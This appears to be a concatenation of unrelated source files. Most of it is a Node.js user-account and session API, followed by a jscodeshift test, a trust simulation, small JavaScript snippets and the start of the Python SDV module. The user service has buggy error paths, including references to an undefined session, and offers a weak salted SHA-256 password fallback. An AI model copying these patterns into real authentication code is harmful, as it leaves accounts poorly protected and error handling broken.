self.logDebug(6, "Successfully logged in");
self.logTransaction('user_login', params.username, self.getClientInfo(args));
// set session expiration
self.storage.expire('sessions/' + session_id, expiration_date);
callback(Tools.mergeHashes({
code: 0,
username: user.username,
user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }),
session_id: session_id
}, args.resp || {}));
args.session = session;
self.fireHook('after_login', args);
} // success
}); // save session
}); // hook before
},
api_logout: function (args, callback) {
// user logout, kill session
var self = this;
this.loadSession(args, function (err, session, user) {
if (!session) {
self.logDebug(6, "Session not found, but returning success anyway");
callback({ code: 0 });
return;
}
args.user = user;
args.session = session;
self.fireHook('before_logout', args, function (err) {
if (err) {
return self.doError('logout', "Failed to logout: " + err, callback);
}
self.logDebug(6, "Logging user out: " + session.username + ": Session ID: " + session.id);
// delete session object
self.storage.delete('sessions/' + session.id, function (err, data) {
// deliberately ignoring error here
self.logDebug(6, "Successfully logged out");
self.logTransaction('user_logout', session.username, self.getClientInfo(args));
callback({ code: 0 });
self.fireHook('after_logout', args);
}); // delete
}); // hook before
}); // load session
},
api_resume_session: function (args, callback) {
// validate existing session
var self = this;
this.loadSession(args, function (err, session, user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!user) {
return self.doError('login', "User not found: " + session.username, callback);
}
if (!user.active) {
return self.doError('login', "User account is disabled: " + session.username, callback);
}
if (user.force_password_reset) {
return self.doError('login', "Account is locked out. Please reset your password to unlock it.", callback);
}
args.user = user;
args.session = session;
self.fireHook('before_resume_session', args, function (err) {
if (err) {
return self.doError('login', "Failed to login: " + err, callback);
}
// update session, modified, expiration, etc.
var now = Tools.timeNow(true);
var expiration_date = Tools.normalizeTime(
now + (86400 * self.config.get('session_expire_days')),
{ hour: 0, min: 0, sec: 0 }
);
session.modified = now;
var new_exp_day = false;
if (expiration_date != session.expires) {
session.expires = expiration_date;
new_exp_day = true;
}
self.logDebug(6, "Recovering session for: " + session.username, session);
// store session object
self.storage.put('sessions/' + session.id, session, function (err, data) {
if (err) {
return self.doError('user', "Failed to update session: " + err, callback);
}
else {
self.logDebug(6, "Successfully logged in");
self.logTransaction('user_login', session.username, self.getClientInfo(args));
// set session expiration
if (new_exp_day && self.storage.config.get('expiration_updates')) {
self.storage.expire('sessions/' + session.id, expiration_date);
}
callback(Tools.mergeHashes({
code: 0,
username: session.username,
user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }),
session_id: session.id
}, args.resp || {}));
self.fireHook('after_resume_session', args);
} // success
}); // save session
}); // hook before
}); // loaded session
},
api_update: function (args, callback) {
// update existing user
var self = this;
var updates = args.params;
var changed_password = false;
this.loadSession(args, function (err, session, user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (updates.username != user.username) {
// sanity check
return self.doError('user', "Username mismatch.", callback);
}
if (!self.comparePasswords(updates.old_password, user.password, user.salt)) {
return self.doError('login', "Your password is incorrect.", callback);
}
args.user = user;
args.session = session;
self.fireHook('before_update', args, function (err) {
if (err) {
return self.doError('user', "Failed to update user: " + err, callback);
}
// check for password change
if (updates.new_password) {
updates.salt = Tools.generateUniqueID(64, user.username);
updates.password = self.generatePasswordHash(updates.new_password, updates.salt);
changed_password = true;
} // change password
else delete updates.password;
delete updates.new_password;
delete updates.old_password;
// don't allow user to update his own privs
delete updates.privileges;
// apply updates
for (var key in updates) {
user[key] = updates[key];
}
// update user record
user.modified = Tools.timeNow(true);
self.logDebug(6, "Updating user", user);
self.storage.put("users/" + self.normalizeUsername(user.username), user, function (err, data) {
if (err) {
return self.doError('user', "Failed to update user: " + err, callback);
}
self.logDebug(6, "Successfully updated user");
self.logTransaction('user_update', user.username,
self.getClientInfo(args, { user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }) }));
callback({
code: 0,
user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 })
});
if (changed_password) {
// send e-mail in background (no callback)
args.user = user;
args.date_time = (new Date()).toLocaleString();
self.sendEmail('changed_password', args);
} // changed_password
self.fireHook('after_update', args);
}); // updated user
}); // hook before
}); // loaded session
},
api_delete: function (args, callback) {
// delete user account AND logout
var self = this;
var params = args.params;
this.loadSession(args, function (err, session, user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
// make sure user exists and is active
if (!user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (params.username != user.username) {
// sanity check
return self.doError('user', "Username mismatch.", callback);
}
if (!self.comparePasswords(params.password, user.password, user.salt)) {
return self.doError('login', "Your password is incorrect.", callback);
}
args.user = user;
args.session = session;
self.fireHook('before_delete', args, function (err) {
if (err) {
return self.doError('login', "Failed to delete user: " + err, callback);
}
self.logDebug(6, "Deleting session: " + session.id);
self.storage.delete('sessions/' + session.id, function (err, data) {
// ignore session delete error, proceed
self.logDebug(6, "Deleting user", user);
self.storage.delete("users/" + self.normalizeUsername(user.username), function (err, data) {
if (err) {
return self.doError('user', "Failed to delete user: " + err, callback);
}
else {
self.logDebug(6, "Successfully deleted user");
self.logTransaction('user_delete', user.username, self.getClientInfo(args));
callback({
code: 0
});
// remove from manager user list in the background
self.storage.listFindCut('global/users', { username: user.username }, function (err) {
if (err) self.logError(1, "Failed to remove user from manager list: " + err);
self.fireHook('after_delete', args);
});
} // success
}); // delete user
}); // delete session
}); // hook before
}); // loaded session
},
api_forgot_password: function (args, callback) {
// send forgot password e-mail to user
var self = this;
var params = args.params;
if (!this.requireParams(params, {
username: this.usernameMatch,
email: /^\S+\@\S+$/
}, callback)) return;
// load user first
this.storage.get('users/' + this.normalizeUsername(params.username), function (err, user) {
if (!user) {
return self.doError('login', "User account not found.", callback); // deliberately vague
}
if (user.email.toLowerCase() != params.email.toLowerCase()) {
return self.doError('login', "User account not found.", callback); // deliberately vague
}
if (!user.active) {
return self.doError('login', "User account is disabled: " + session.username, callback);
}
if (user.ext_auth) {
return self.doError('login', "Password change is not allowed for this user", callback);
}
// check API throttle
var date_code = Math.floor(Tools.timeNow() / 3600);
if (user.fp_date_code && (date_code == user.fp_date_code) && (user.fp_count > self.config.get('max_forgot_passwords_per_hour'))) {
// lockout until next hour
return self.doError('login', "This feature is locked due to too many requests. Please try again later.");
}
args.user = user;
self.fireHook('before_forgot_password', args, function (err) {
if (err) {
return self.doError('login', "Forgot password failed: " + err, callback);
}
// create special recovery hash and expiration date for it
var recovery_key = Tools.generateUniqueID(64, user.username);
// dates
var now = Tools.timeNow(true);
var expiration_date = Tools.normalizeTime(now + 86400, { hour: 0, min: 0, sec: 0 });
// create object
var recovery = {
key: recovery_key,
username: params.username,
ip: args.ip,
useragent: args.request.headers['user-agent'],
created: now,
modified: now,
expires: expiration_date
};
self.logDebug(6, "Creating recovery key for: " + params.username + ": Key: " + recovery_key, recovery);
// store recovery object
self.storage.put('password_recovery/' + recovery_key, recovery, function (err, data) {
if (err) {
return self.doError('user', "Failed to create recovery key: " + err, callback);
}
self.logDebug(6, "Successfully created recovery key");
// set session expiration
self.storage.expire('password_recovery/' + recovery_key, expiration_date);
// add some things to args for email body placeholder substitution
args.user = user;
args.self_url = self.server.WebServer.getSelfURL(args.request, '/');
args.date_time = (new Date()).toLocaleString();
args.recovery_key = recovery_key;
// send e-mail to user
self.sendEmail('recover_password', args, function (err) {
if (err) {
return self.doError('email', err.message, callback);
}
self.logTransaction('user_forgot_password', params.username, self.getClientInfo(args, { key: recovery_key }));
callback({ code: 0 });
// throttle this API to prevent abuse
if (date_code != user.fp_date_code) {
user.fp_date_code = date_code;
user.fp_count = 1;
}
else {
user.fp_count++;
}
// save user to update counters
self.storage.put('users/' + self.normalizeUsername(params.username), user, function (err) {
// fire async hook
self.fireHook('after_forgot_password', args);
}); // save user
}); // email sent
}); // stored recovery object
}); // hook before
}); // loaded user
},
api_reset_password: function (args, callback) {
// reset user password using recovery key
var self = this;
var params = args.params;
if (!this.requireParams(params, {
username: this.usernameMatch,
new_password: /.+/,
key: /^[A-F0-9]{64}$/i
}, callback)) return;
// load user first
this.storage.get('users/' + this.normalizeUsername(params.username), function (err, user) {
if (!user) {
return self.doError('login', "User account not found.", callback);
}
if (!user.active) {
return self.doError('login', "User account is disabled: " + session.username, callback);
}
// load recovery key, make sure it matches this user
self.storage.get('password_recovery/' + params.key, function (err, recovery) {
if (!recovery) {
return self.doError('login', "Password reset failed.", callback); // deliberately vague
}
if (recovery.username != params.username) {
return self.doError('login', "Password reset failed.", callback); // deliberately vague
}
args.user = user;
self.fireHook('before_reset_password', args, function (err) {
if (err) {
return self.doError('login', "Failed to reset password: " + err, callback);
}
// update user record
user.salt = Tools.generateUniqueID(64, user.username);
user.password = self.generatePasswordHash(params.new_password, user.salt);
user.modified = Tools.timeNow(true);
// remove throttle lock
delete user.force_password_reset;
self.logDebug(6, "Updating user for password reset", user);
self.storage.put("users/" + self.normalizeUsername(user.username), user, function (err, data) {
if (err) {
return self.doError('user', "Failed to update user: " + err, callback);
}
self.logDebug(6, "Successfully updated user");
self.logTransaction('user_update', user.username,
self.getClientInfo(args, { user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }) }));
// delete recovery key (one time use only!)
self.logDebug(6, "Deleting recovery key: " + params.key);
self.storage.delete('password_recovery/' + params.key, function (err, data) {
// ignore error, call it done
self.logTransaction('user_password_reset', params.username, self.getClientInfo(args, { key: params.key }));
callback({ code: 0 });
// send e-mail in background (no callback)
args.user = user;
args.date_time = (new Date()).toLocaleString();
self.sendEmail('changed_password', args);
// fire after hook
self.fireHook('after_reset_password', args);
}); // deleted recovery key
}); // updated user
}); // hook before
}); // recovery key loaded
}); // user loaded
},
//
// Administrator Level Calls:
//
api_admin_create: function (args, callback) {
// admin only: create new user account
var self = this;
var new_user = args.params;
var path = 'users/' + this.normalizeUsername(new_user.username);
if (!this.requireParams(new_user, {
username: this.usernameMatch,
email: /^\S+\@\S+$/,
full_name: /\S/,
password: /.+/
}, callback)) return;
this.loadSession(args, function (err, session, admin_user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!admin_user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!admin_user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (!admin_user.privileges.admin) {
return self.doError('user', "User is not an administrator: " + session.username, callback);
}
// first, make sure new user doesn't already exist
self.storage.get(path, function (err, old_user) {
if (old_user) {
return self.doError('user_exists', "User already exists: " + new_user.username, callback);
}
// optionally send e-mail
var send_welcome_email = new_user.send_email || false;
delete new_user.send_email;
// now we can create the user
new_user.active = 1;
new_user.created = new_user.modified = Tools.timeNow(true);
new_user.salt = Tools.generateUniqueID(64, new_user.username);
new_user.password = self.generatePasswordHash(new_user.password, new_user.salt);
new_user.privileges = new_user.privileges || Tools.copyHash(self.config.get('default_privileges') || {});
args.admin_user = admin_user;
args.session = session;
args.user = new_user;
self.fireHook('before_create', args, function (err) {
if (err) {
return self.doError('user', "Failed to create user: " + err, callback);
}
self.logDebug(6, "Creating user", new_user);
self.storage.put(path, new_user, function (err, data) {
if (err) {
return self.doError('user', "Failed to create user: " + err, callback);
}
else {
self.logDebug(6, "Successfully created user: " + new_user.username);
self.logTransaction('user_create', new_user.username,
self.getClientInfo(args, { user: Tools.copyHashRemoveKeys(new_user, { password: 1, salt: 1 }) }));
callback({ code: 0 });
// add to manager user list in the background
if (self.config.get('sort_global_users')) {
self.storage.listInsertSorted('global/users', { username: new_user.username }, ['username', 1], function (err) {
if (err) self.logError(1, "Failed to add user to manager list: " + err);
// fire after hook in background
self.fireHook('after_create', args);
});
}
else {
self.storage.listUnshift('global/users', { username: new_user.username }, function (err) {
if (err) self.logError(1, "Failed to add user to manager list: " + err);
// fire after hook in background
self.fireHook('after_create', args);
});
}
// send e-mail in background (no callback)
if (send_welcome_email) {
args.user = new_user;
args.self_url = self.server.WebServer.getSelfURL(args.request, '/');
self.sendEmail('welcome_new_user', args);
}
} // success
}); // save user
}); // hook before
}); // check exists
}); // load session
},
api_admin_update: function (args, callback) {
// admin only: update any user
var self = this;
var updates = args.params;
var path = 'users/' + this.normalizeUsername(updates.username);
if (!this.requireParams(args.params, {
username: this.usernameMatch
}, callback)) return;
this.loadSession(args, function (err, session, admin_user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!admin_user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!admin_user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (!admin_user.privileges.admin) {
return self.doError('user', "User is not an administrator: " + session.username, callback);
}
self.storage.get(path, function (err, user) {
if (err) {
return self.doError('user', "User not found: " + updates.username, callback);
}
args.admin_user = admin_user;
args.session = session;
args.user = user;
self.fireHook('before_update', args, function (err) {
if (err) {
return self.doError('user', "Failed to update user: " + err, callback);
}
// check for password change
if (updates.new_password) {
updates.salt = Tools.generateUniqueID(64, user.username);
updates.password = self.generatePasswordHash(updates.new_password, updates.salt);
} // change password
else delete updates.password;
delete updates.new_password;
// apply updates
for (var key in updates) {
user[key] = updates[key];
}
// update user record
user.modified = Tools.timeNow(true);
self.logDebug(6, "Admin updating user", user);
self.storage.put(path, user, function (err, data) {
if (err) {
return self.doError('user', "Failed to update user: " + err, callback);
}
self.logDebug(6, "Successfully updated user");
self.logTransaction('user_update', user.username,
self.getClientInfo(args, { user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }) }));
callback({
code: 0,
user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 })
});
self.fireHook('after_update', args);
}); // updated user
}); // hook before
}); // loaded user
}); // loaded session
},
api_admin_delete: function (args, callback) {
// admin only: delete any user account
var self = this;
var params = args.params;
var path = 'users/' + this.normalizeUsername(params.username);
if (!this.requireParams(params, {
username: this.usernameMatch
}, callback)) return;
this.loadSession(args, function (err, session, admin_user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!admin_user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!admin_user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (!admin_user.privileges.admin) {
return self.doError('user', "User is not an administrator: " + session.username, callback);
}
self.storage.get(path, function (err, user) {
if (err) {
return self.doError('user', "User not found: " + params.username, callback);
}
args.admin_user = admin_user;
args.session = session;
args.user = user;
self.fireHook('before_delete', args, function (err) {
if (err) {
return self.doError('login', "Failed to delete user: " + err, callback);
}
self.logDebug(6, "Deleting user", user);
self.storage.delete("users/" + self.normalizeUsername(user.username), function (err, data) {
if (err) {
return self.doError('user', "Failed to delete user: " + err, callback);
}
else {
self.logDebug(6, "Successfully deleted user");
self.logTransaction('user_delete', user.username, self.getClientInfo(args));
callback({
code: 0
});
// remove from manager user list in the background
self.storage.listFindCut('global/users', { username: user.username }, function (err) {
if (err) self.logError(1, "Failed to remove user from manager list: " + err);
self.fireHook('after_delete', args);
});
} // success
}); // delete user
}); // hook before
}); // loaded user
}); // loaded session
},
api_admin_get_user: function (args, callback) {
// admin only: get single user record, for editing
var self = this;
var params = Tools.mergeHashes(args.params, args.query);
if (!this.requireParams(params, {
username: this.usernameMatch
}, callback)) return;
this.loadSession(args, function (err, session, admin_user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!admin_user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!admin_user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (!admin_user.privileges.admin) {
return self.doError('user', "User is not an administrator: " + session.username, callback);
}
// load user
var path = 'users/' + self.normalizeUsername(params.username);
self.storage.get(path, function (err, user) {
if (err) {
return self.doError('user', "Failed to load user: " + err, callback);
}
// success, return user record
callback({
code: 0,
user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 })
});
}); // loaded user
}); // loaded session
},
api_admin_get_users: function (args, callback) {
// admin only: get chunk of users from global list, with pagination
var self = this;
var params = Tools.mergeHashes(args.params, args.query);
this.loadSession(args, function (err, session, admin_user) {
if (!session) {
return self.doError('session', "Session has expired or is invalid.", callback);
}
if (!admin_user) {
return self.doError('user', "User not found: " + session.username, callback);
}
if (!admin_user.active) {
return self.doError('user', "User account is disabled: " + session.username, callback);
}
if (!admin_user.privileges.admin) {
return self.doError('user', "User is not an administrator: " + session.username, callback);
}
if (!params.offset) params.offset = 0;
if (!params.limit) params.limit = 50;
self.storage.listGet('global/users', params.offset, params.limit, function (err, stubs, list) {
if (err) {
// no users found, not an error for this API
return callback({
code: 0,
rows: [],
list: { length: 0 }
});
}
// create array of paths to user records
var paths = [];
for (var idx = 0, len = stubs.length; idx < len; idx++) {
paths.push('users/' + self.normalizeUsername(stubs[idx].username));
}
// load all users
self.storage.getMulti(paths, function (err, users) {
if (err) {
return self.doError('user', "Failed to load users: " + err, callback);
}
// remove passwords and salts
for (var idx = 0, len = users.length; idx < len; idx++) {
users[idx] = Tools.copyHashRemoveKeys(users[idx], { password: 1, salt: 1 });
}
// success, return users and list header
callback({
code: 0,
rows: users,
list: list
});
}); // loaded users
}); // got username list
}); // loaded session
},
api_external_login: function (args, callback) {
// query external user management system for login
var self = this;
var url = this.config.get('external_user_api');
if (!url) return this.doError('user', "No external_user_api config param set.", callback);
this.logDebug(6, "Externally logging in via: " + url, args.request.headers);
// must pass along cookie and user-agent
var request = new Request(args.request.headers['user-agent'] || 'PixlUser API');
request.get(url, {
headers: { 'Cookie': args.request.headers['cookie'] || args.params.cookie || args.query.cookie || '' }
},
function (err, resp, data) {
// check for error
if (err) return self.doError('user', err, callback);
if (resp.statusCode != 200) {
return self.doError('user', "Bad HTTP Response: " + resp.statusMessage, callback);
}
var json = null;
try { json = JSON.parse(data.toString()); }
catch (err) {
return self.doError('user', "Failed to parse JSON response: " + err, callback);
}
var code = json.code || json.Code;
if (code) {
return self.doError('user', "External API Error: " + (json.description || json.Description), callback);
}
self.logDebug(6, "Got response from external user system:", json);
var username = json.username || json.Username || '';
var remote_user = json.user || json.User || null;
if (username && remote_user) {
// user found in response! update our records and create a local session
var path = 'users/' + self.normalizeUsername(username);
if (!username.match(self.usernameMatch)) {
return self.doError('user', "Username contains illegal characters: " + username);
}
self.logDebug(7, "Testing if user exists: " + path);
self.storage.get(path, function (err, user) {
var new_user = false;
if (!user) {
// first time, create new user
self.logDebug(6, "Creating new user: " + username);
new_user = true;
user = {
username: username,
active: 1,
created: Tools.timeNow(true),
modified: Tools.timeNow(true),
salt: Tools.generateUniqueID(64, username),
password: Tools.generateUniqueID(64), // unused
privileges: Tools.copyHash(self.config.get('default_privileges') || {})
};
} // new user
else {
self.logDebug(7, "User already exists: " + username);
if (user.force_password_reset) {
return self.doError('login', "Account is locked out. Please reset your password to unlock it.", callback);
}
if (!user.active) {
return self.doError('login', "User account is disabled: " + username, callback);
}
}
// sync user info
user.full_name = remote_user.full_name || remote_user.FullName || username;
user.email = remote_user.email || remote_user.Email || (username + '@' + self.server.hostname);
// must reset all privileges here, as remote system may delete keys when privs are revoked
for (var key in user.privileges) {
user.privileges[key] = 0;
}
// copy over privileges
var privs = remote_user.privileges || remote_user.Privileges || {};
for (var key in privs) {
var ckey = key.replace(/\W+/g, '_').toLowerCase();
user.privileges[ckey] = privs[key] ? 1 : 0;
}
// copy over avatar url
user.avatar = json.avatar || json.Avatar || '';
// save user locally
self.storage.put(path, user, function (err) {
if (err) return self.doError('user', "Failed to create user: " + err, callback);
// copy to args for logging
args.user = user;
if (new_user) {
self.logDebug(6, "Successfully created user: " + username);
self.logTransaction('user_create', username,
self.getClientInfo(args, { user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }) }));
}
// now perform a local login
self.fireHook('before_login', args, function (err) {
if (err) {
return self.doError('login', "Failed to login: " + err, callback);
}
// now create session
var now = Tools.timeNow(true);
var expiration_date = Tools.normalizeTime(
now + (86400 * self.config.get('session_expire_days')),
{ hour: 0, min: 0, sec: 0 }
);
// create session id and object
var session_id = Tools.generateUniqueID(64, username);
var session = {
id: session_id,
username: username,
ip: args.ip,
useragent: args.request.headers['user-agent'],
created: now,
modified: now,
expires: expiration_date
};
self.logDebug(6, "Logging user in: " + username + ": New Session ID: " + session_id, session);
// store session object
self.storage.put('sessions/' + session_id, session, function (err, data) {
if (err) {
return self.doError('user', "Failed to create session: " + err, callback);
}
// copy to args to logging
args.session = session;
self.logDebug(6, "Successfully logged in", username);
self.logTransaction('user_login', username, self.getClientInfo(args));
// set session expiration
self.storage.expire('sessions/' + session_id, expiration_date);
callback(Tools.mergeHashes({
code: 0,
username: username,
user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }),
session_id: session_id
}, args.resp || {}));
self.fireHook('after_login', args);
// add to manager user list in the background
if (new_user) {
if (self.config.get('sort_global_users')) {
self.storage.listInsertSorted('global/users', { username: username }, ['username', 1], function (err) {
if (err) self.logError(1, "Failed to add user to manager list: " + err);
self.fireHook('after_create', args);
});
}
else {
self.storage.listUnshift('global/users', { username: username }, function (err) {
if (err) self.logError(1, "Failed to add user to manager list: " + err);
self.fireHook('after_create', args);
});
}
} // new user
}); // save session
}); // before_login
}); // save user
}); // user get
} // user is logged in
else {
// API must require a browser redirect, so pass back to client
// add our encoded self URL onto end of redirect URL
var url = json.location || json.Location;
url += encodeURIComponent(self.web.getSelfURL(args.request, '/'));
self.logDebug(6, "Browser redirect required: " + url);
callback({ code: 0, location: url });
}
});
},
sendEmail: function (name, args, callback) {
// send e-mail using template system and arg placeholders, if enabled
var self = this;
var emails = this.config.get('email_templates') || {};
if (emails[name]) {
// email is enabled
args.config = this.server.config.get();
// generate mailer on the fly to catch config change
var mail = new Mailer(
this.config.get('smtp_hostname') || this.server.config.get('smtp_hostname') || "127.0.0.1",
this.config.get('smtp_port') || this.server.config.get('smtp_port') || 25
);
mail.setOptions(this.server.config.get('mail_options'));
mail.send(emails[name], args, function (err, data) {
if (err) self.logError('email', "Failed to send e-mail: " + err, { name: name, data: data });
else self.logDebug(6, "Email sent successfully", { name: name, data: data });
if (callback) callback(err);
});
}
},
registerHook: function (name, callback) {
// register a function as a hook handler
name = name.toLowerCase();
this.hooks[name] = callback;
},
fireHook: function (name, data, callback) {
// fire custom hook, allowing webapp to intercept and alter data or throw an error
name = name.toLowerCase();
if (!callback) callback = function () { };
if (this.hooks[name]) {
this.hooks[name](data, callback);
}
else callback(null);
},
getClientInfo: function (args, params) {
// return client info object suitable for logging in the data column
if (!params) params = {};
params.ip = args.ip;
params.headers = args.request.headers;
return params;
},
loadSession: function (args, callback) {
// make sure session is valid
var self = this;
var session_id = args.cookies['session_id'] || args.request.headers['x-session-id'] || args.params.session_id || args.query.session_id;
if (!session_id) return callback(new Error("No Session ID could be found"));
this.storage.get('sessions/' + session_id, function (err, session) {
if (err) return callback(err, null);
// also load user
self.storage.get('users/' + self.normalizeUsername(session.username), function (err, user) {
if (err) return callback(err, null);
// get session_id out of args.params, so it doesn't interfere with API calls
delete args.params.session_id;
// pass both session and user to callback
callback(null, session, user);
});
});
},
requireParams: function (params, rules, callback) {
// require params to exist and have length
assert(arguments.length == 3, "Wrong number of arguments to requireParams");
for (var key in rules) {
var regexp = rules[key];
if (typeof (params[key]) == 'undefined') {
this.doError('api', "Missing parameter: " + key, callback);
return false;
}
if (!params[key].toString().match(regexp)) {
this.doError('api', "Malformed parameter: " + key, callback);
return false;
}
}
return true;
},
doError: function (code, msg, callback) {
// log error and send api response
assert(arguments.length == 3, "Wrong number of arguments to doError");
this.logError(code, msg);
callback({ code: code, description: msg });
return false;
},
generatePasswordHash: function (password, salt) {
// generate crypto hash of password given plain password and salt string
if (this.config.get('use_bcrypt')) {
// use extremely secure but CPU expensive bcrypt algorithm
return bcrypt.hashSync(password + salt);
}
else {
// use weaker but fast salted SHA-256 algorithm
return Tools.digestHex(password + salt, 'sha256');
}
},
comparePasswords: function (password, hash, salt) {
// compare passwords for login, given plaintext, pw hash and user salt
if (this.config.get('use_bcrypt')) {
// use extremely secure but CPU expensive bcrypt algorithm
return bcrypt.compareSync(password + salt, hash);
}
else {
// use weaker but fast salted SHA-256 algorithm
return (hash == this.generatePasswordHash(password, salt));
}
},
shutdown: function (callback) {
// shutdown user service
callback();
}
});
|
/* global jest */
jest.autoMockOff();
const defineTest = require('jscodeshift/dist/testUtils').defineTest;
const fixtures = [
'remove-import',
'remove-import-renamed',
'remove-import-single',
'full-amp',
'full-amp-inline',
'full-amp-with-config',
'full-amp-with-config-dupe',
'full-amp-with-config-var',
'hybrid-amp',
'hybrid-amp-with-config'
];
for (const fixture of fixtures) {
defineTest(
__dirname,
'withamp-to-config',
null,
`withamp-to-config/${fixture}`
);
}
|
/**
* Copyright 2020 FreightTrust and Clearing Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// we set this default trust in the protcol parameters
var defaultTrust = 0.288;
var transferredValueMultiplier = 2.6;
var transferredValueSplit = 0.2;
var individual = function (id, honestyCoeff) {
this.id = id;
this.value = 10.0;
this.relations = Array.apply(null, Array(stakingpoolSize)).map(
Number.prototype.valueOf,
defaultTrust
);
this.honesty = honestyCoeff;
this.sumRelations = function () {
return this.relations.reduce(function (
previousValue,
currentValue,
currentIndex,
array
) {
return previousValue + currentValue;
},
0);
};
};
var initializeIndividuals = function (honestyCoeff, stakingpoolSize) {
var individuals = [];
for (var i = 0; i < stakingpoolSize; ++i) {
individuals.push(new individual(i, honestyCoeff));
}
return individuals;
};
var computeRelation = function (sourceIndex, targetIndex, individuals) {
var sourceIndividual = individuals[sourceIndex];
var targetIndividual = individuals[targetIndex];
var trustValue = sourceIndividual.relations[targetIndex]; // should be the same as
// targetIndividual.relations[sourceIndex]
var transferredValue =
sourceIndividual.relations[targetIndex] *
sourceIndividual.value *
transferredValueMultiplier;
var honestyTest = targetIndividual.honesty >= Math.random();
if (honestyTest) {
return {
sourceValueIncrease:
transferredValue * transferredValueSplit -
sourceIndividual.value * (1 - transferredValueSplit),
targetValueIncrease: transferredValue * (1 - transferredValueSplit),
newTrustValue: (trustValue * (1 + 0.1)) / (1 + trustValue * 0.1), //S-curve
};
} else {
return {
sourceValueIncrease:
-sourceIndividual.value * (1 - transferredValueSplit),
targetValueIncrease: transferredValue,
newTrustValue: (trustValue * (1 + trustValue * 0.1)) / (1 + 0.1),
};
}
};
var runSimulation = function (honestyCoeff, stakingpoolSize, nbIterations) {
var individuals = initializeIndividuals(honestyCoeff, stakingpoolSize);
var individualsArchive = [individuals];
for (var i = 0; i < nbIterations; ++i) {
var relationSourceIndex = Math.floor(Math.random() * stakingpoolSize);
var relationTargetIndex = Math.floor(Math.random() * stakingpoolSize);
if (relationSourceIndex === relationTargetIndex) {
continue;
}
var newRelations = computeRelation(
relationSourceIndex,
relationTargetIndex,
individuals
);
individuals[relationSourceIndex].value += newRelations.sourceValueIncrease;
individuals[relationSourceIndex].relations[relationTargetIndex] =
newRelations.newTrustValue;
individuals[relationTargetIndex].value += newRelations.targetValueIncrease;
individuals[relationTargetIndex].relations[relationSourceIndex] =
newRelations.newTrustValue;
individualsArchive.push(individuals);
}
return individualsArchive;
};
|
import * as Events from './Events.js';
export const ExportEvents = {
customData: Events.customDataExportAction,
nativeData: Events.nativeExportAction,
fileSave: Events.storeFilesystemAction,
}
export const ImportEvents = {
normalize: Events.normalizeAction,
dataImport: Events.importAction,
processFile: Events.importFileAction,
processData: Events.importDataAction,
inspect: Events.importInspectAction,
dataImported: Events.stateActionImported,
}
|
$(document).ready(function(){
})
function changeImg(img){
$("#imgId").attr('src',img);
} |
# -*- coding: utf-8 -*-
"""Main SDV module."""
import pickle
from copulas.univariate import GaussianUnivariate
from sdv.metadata import Metadata
from sdv.modeler import Modeler
from sdv.models.copulas import GaussianCopula
from sdv.sampler import Sampler
DEFAULT_MODEL = GaussianCopula
DEFAULT_MODEL_KWARGS = {
'distribution': GaussianUnivariate
}
class NotFittedError(Exception):
"""Error to raise when sample is called and SDV is not fitted."""
pass
class SDV:
"""Automated generative modeling and sampling tool.
Allows the users to generate synthetic data after creating generative models for their data.
Args:
model (type):
Class of the ``copula`` to use. Defaults to
``sdv.models.copulas.GaussianCopula``.
model_kwargs (dict):
Keyword arguments to pass to the model. Defaults to ``None``.
"""
sampler = None
def __init__(self, model=DEFAULT_MODEL, model_kwargs=None):
self.model = model
if model_kwargs is None:
self.model_kwargs = DEFAULT_MODEL_KWARGS.copy()
else:
self.model_kwargs = model_kwargs
def fit(self, metadata, tables=None, root_path=None):
"""Fit this SDV instance to the dataset data.
Args:
metadata (dict, str or Metadata):
Metadata dict, path to the metadata JSON file or Metadata instance itself.
tables (dict):
Dictionary with the table names as key and ``pandas.DataFrame`` instances as
values. If ``None`` is given, the tables will be loaded from the paths
indicated in ``metadata``. Defaults to ``None``.
root_path (str or None):
Path to the dataset directory. If ``None`` and metadata is
a path, the metadata location is used. If ``None`` and
metadata is a dict, the current working directory is used.
"""
if isinstance(metadata, Metadata):
self.metadata = metadata
else:
self.metadata = Metadata(metadata, root_path)
self.metadata.validate(tables)
self.modeler = Modeler(self.metadata, self.model, self.model_kwargs)
self.modeler.model_database(tables)
self.sampler = Sampler(self.metadata, self.modeler.models, self.model,
self.model_kwargs, self.modeler.table_sizes)
def sample(self, table_name, num_rows=None, sample_children=True, reset_primary_keys=False):
"""Sample ``num_rows`` rows from the indicated table.
Args:
table_name (str):
Name of the table to sample from.
num_rows (int):
